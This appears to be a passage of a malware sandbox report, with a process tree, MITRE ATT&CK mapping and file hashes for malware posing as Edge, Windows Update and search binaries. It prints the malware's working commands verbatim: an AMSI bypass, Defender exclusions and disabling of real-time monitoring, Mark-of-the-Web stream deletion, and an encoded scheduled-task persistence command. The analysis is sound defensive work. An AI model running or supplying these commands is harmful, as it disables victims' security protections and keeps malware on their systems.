    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier"
    3⤵
    PID:4884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:1076
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1580
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier"
    3⤵
    PID:3460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:3960
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier"
    3⤵
    PID:3996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:3200
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier"
    3⤵
    PID:2084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4748
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1084
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier"
    3⤵
    PID:5356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:5836
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier"
    3⤵
    PID:564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiInitFailed\",\"NonPublic,Static\").SetValue($null,$true);[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiSession\",\"NonPublic,Static\").SetValue($null,$null)"
  2⤵
  PID:4716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\Downloads\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1696
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4648
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2480
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
  2⤵
  PID:3728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue;Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue;Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"
  2⤵
  PID:5620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "try{$p=\"HKCU:\Software\Microsoft\Windows Defender\Exclusions\Paths\";if(!(Test-Path $p)){New-Item -Path $p -Force|Out-Null};New-ItemProperty -Path $p -Name \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\" -Value 0 -PropertyType DWORD -Force|Out-Null}catch{}"
  2⤵
  PID:3348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxNaWNyb3NvZnRcXEVkZ2VVcGRhdGUiLCJDOlxcVXNlcnNcXEFkbWluXFxEb3dubG9hZHMiKTtmb3JlYWNoKCRwIGluICRlKXt0cnl7QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAkcCAtRUEgMH1jYXRjaHt9fQ==" /sc minute /mo 5 /f /rl LIMITED"
  2⤵
  PID:5196
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxNaWNyb3NvZnRcXEVkZ2VVcGRhdGUiLCJDOlxcVXNlcnNcXEFkbWluXFxEb3dubG9hZHMiKTtmb3JlYWNoKCRwIGluICRlKXt0cnl7QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAkcCAtRUEgMH1jYXRjaHt9fQ==" /sc minute /mo 5 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6076

C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe
C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:5488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 4064" /nh 2>nul"
  2⤵
  PID:4428
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 4064" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:1076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:3704
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:1540

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:2876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 4064" /nh 2>nul"
  2⤵
  PID:5264
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 4064" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:4540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:3956
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:3732

C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe
C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:5448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 4064" /nh 2>nul"
  2⤵
  PID:2024
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 4064" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:5324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:2752
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:3636

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 7b5b6b80c95e0c8cd5c55c8e8e00a100c1d11b1c3a96ecfd2a69294219140611
MD5 f2e1f9fa00b8d03d9155e5ed1897d1ae
SHA1 72351211e17de8b718f2dec0bd9f074e70c1e739
SHA512 08652e469facf01d01a456d6d7ade16cc7e6203233025500cc8743680e7fbcf9838e263ea5396ee41f89a1f940fddf408f79c1aab960575bec4a642302888442
TLSH
T18D61DC323375B0D4895A7F07192C19C463BF8356EA94AF4CB658620ED92B44BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

MicrosoftEdgeUpdate.exe:Zone.Identifier

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier
Size 26B
SHA256 1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33
MD5 cb9db8b13f2e7d1ae122b5b6c2381b25
SHA1 ea06df82dba8cc567e95c43e6214872e52fdb05b
SHA512 937778c5cd8c35ec2a0811856214ad95446b14f91c306632117e9bc79740b5baa57c2051ba21765acbf0fced496ca547a08b8bdda85d8c8b700a44826a602ed0
MD5 SHA1 SHA512

Submit Download